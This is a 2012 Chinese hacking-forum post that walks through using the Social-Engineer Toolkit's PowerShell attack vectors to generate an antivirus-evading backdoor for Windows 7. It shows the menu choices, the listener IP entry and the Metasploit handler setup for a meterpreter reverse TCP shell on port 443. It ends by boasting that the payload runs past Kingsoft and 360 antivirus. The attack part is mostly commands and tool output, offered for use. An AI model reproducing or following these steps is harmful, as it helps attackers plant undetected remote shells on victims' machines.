切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
223 set : windows7 免杀[复制链接]
发表于 2012-8-25 17:31:30 | 显示全部楼层 |!read_mode!

教学课程的202蛋 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。
使用 Windows PowerShell,您可以很方便地从以交互方式键入命令过渡到创建和运行脚本。您可以在 Windows PowerShell 命令提示符下键入命令以找到可执行任务的命令。随后,可将这些命令保存到脚本或历史记录中,然后将其复制到文件中以用作脚本。
识别你即将使用的Provider 通过识别PowerShell里安装的Provider,你就可以了解默认安装下PowerShell提供了那些能力。 Provider可以使用一种简单的访问方式,暴露位于不同储存位置的数据。就像是浏览不同磁盘上的目录结构一样简单。 Provider把不同的信息存放位置,表示成“驱动器”-目录这种结构,这样很容易被用户所理解。就像我们要访问一个位于D盘的WIN32目录下的SETUP.exe文件,我们要通过浏览器,单击D盘的图标,然后选择WIN32目录并双击一样,如果我们要访问位于“注册表”的数据,那么我们也只需要简单地通过Set-Location命令,来到到“REGISTRY”这个“驱动器”,然后用GET-CHILDITEM命令获取其子数据就行了。

Bsides 安全大会上,自信的胖子大卫啃你爹SET的作者展示了一些新的绕过杀毒的办法using Powershell

更新set


  1. root@Dis9Team:/pen/set# svn update
复制代码
进入SET之后 首先选择 1) Social-Engineering Attacks 然后选择 10) Powershell Attack Vectors



到这里选择door的类型

   1) Powershell Alphanumeric Shellcode Injector   2) Powershell Reverse Shell   3) Powershell Bind Shell   4) Powershell Dump SAM Database



选择1吧 1) Powershell Alphanumeric Shellcode Injector




然后等待他编码,SET向来都是32 64 通吃

  1. set:powershell>1
  2. set> IP address for the payload listener: 5.5.5.2
  3. [*] Prepping the payload for delivery and injecting alphanumeric shellcode...
  4. Enter the port number for the reverse [443]:
  5. [*] Generating x64-based powershell injection code...
  6. [*] Generating x86-based powershell injection code...
  7. [*] Finished generating powershell injection attack and is encoded to bypass execution restriction...
  8. set> Do you want to start the listener now [yes/no]: : yes
  9. set:powershell> Select x86 or x64 victim machine [default: x64]:x64
  10. [-] ***
  11. [-] * WARNING: Database support has been disabled
  12. [-] ***

  13. Call trans opt: received. 2-19-98 13:24:18 REC:Loc

  14.      Trace program: running

  15.            wake up, Neo...
  16.         the matrix has you
  17.       follow the white rabbit.

  18.           knock, knock, Neo.

  19.                         (`.         ,-,
  20.                         ` `.    ,;' /
  21.                          `.  ,'/ .'
  22.                           `. X /.'
  23.                 .-;--''--.._` ` (
  24.               .'            /   `
  25.              ,           ` '   Q '
  26.              ,         ,   `._    \
  27.           ,.|         '     `-.;_'
  28.           :  . `  ;    `  ` --,.._;
  29.            ' `    ,   )   .'
  30.               `._ ,  '   /_
  31.                  ; ,''-,;' ``-
  32.                   ``-..__``--`

  33.        =[ metasploit v4.4.0-release [core:4.4 api:1.0]
  34. + -- --=[ 914 exploits - 527 auxiliary - 150 post
  35. + -- --=[ 250 payloads - 28 encoders - 8 nops
  36.        =[ svn r15684 updated 9 days ago (2012.07.26)

  37. Warning: This copy of the Metasploit Framework was last updated 9 days ago.
  38.          We recommend that you update the framework at least every other day.
  39.          For information on updating your copy of Metasploit, please see:

  40. https://community.rapid7.com/docs/DOC-1306

  41. [*] Processing reports/powershell/powershell.rc for ERB directives.
  42. resource (reports/powershell/powershell.rc)> use multi/handler
  43. resource (reports/powershell/powershell.rc)> set payload windows/x64/meterpreter/reverse_tcp
  44. payload => windows/x64/meterpreter/reverse_tcp
  45. resource (reports/powershell/powershell.rc)> set lport 443
  46. lport => 443
  47. resource (reports/powershell/powershell.rc)> set LHOST 0.0.0.0
  48. LHOST => 0.0.0.0
  49. resource (reports/powershell/powershell.rc)> exploit -j
  50. [*] Exploit running as background job.
  51. msf  exploit(handler) >
  52. [*] Started reverse handler on 0.0.0.0:443
  53. [*] Starting the payload handler...
复制代码

生成的后门保存在这里

  1. root@Dis9Team:/pen/set/reports/powershell# pwd
  2. /pen/set/reports/powershell
  3. root@Dis9Team:/pen/set/reports/powershell# ls
  4. powershell.rc  x64_powershell_injection.txt  x86_powershell_injection.txt
  5. root@Dis9Team:/pen/set/reports/powershell# cat x64_powershell_injection.txt
  6. ..............
  7. --------无视----
  8. root@Dis9Team:/pen/set/reports/powershell#
复制代码

下面选择社和你系统的运行 X86 OR X64



运行之后金山 360 无压力




References
http://www.secmaniac.com/files/PowerShell_Defcon.pdf
http://0entropy.blogspot.com/2012/04/powershell-metasploit-meterpreter-and.html
http://www.exploit-monday.com/2011/11/powersyringe-powershell-based-codedll.html
http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
http://www.obscuresecurity.blogspot.com/2011/08/powershell-executionpolicy.html
http://www.viveksharma.com/TECHLOG/archive/2008/12/03/running-scripts-that-only-work-under-32bit-cleanly-in-64bit.aspx



附件: 你需要登录才可以下载或查看附件。没有帐号?加入Team
操千曲而后晓声,观千剑而后识器。

代码区

GMT+8, 2020-9-23 14:57

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部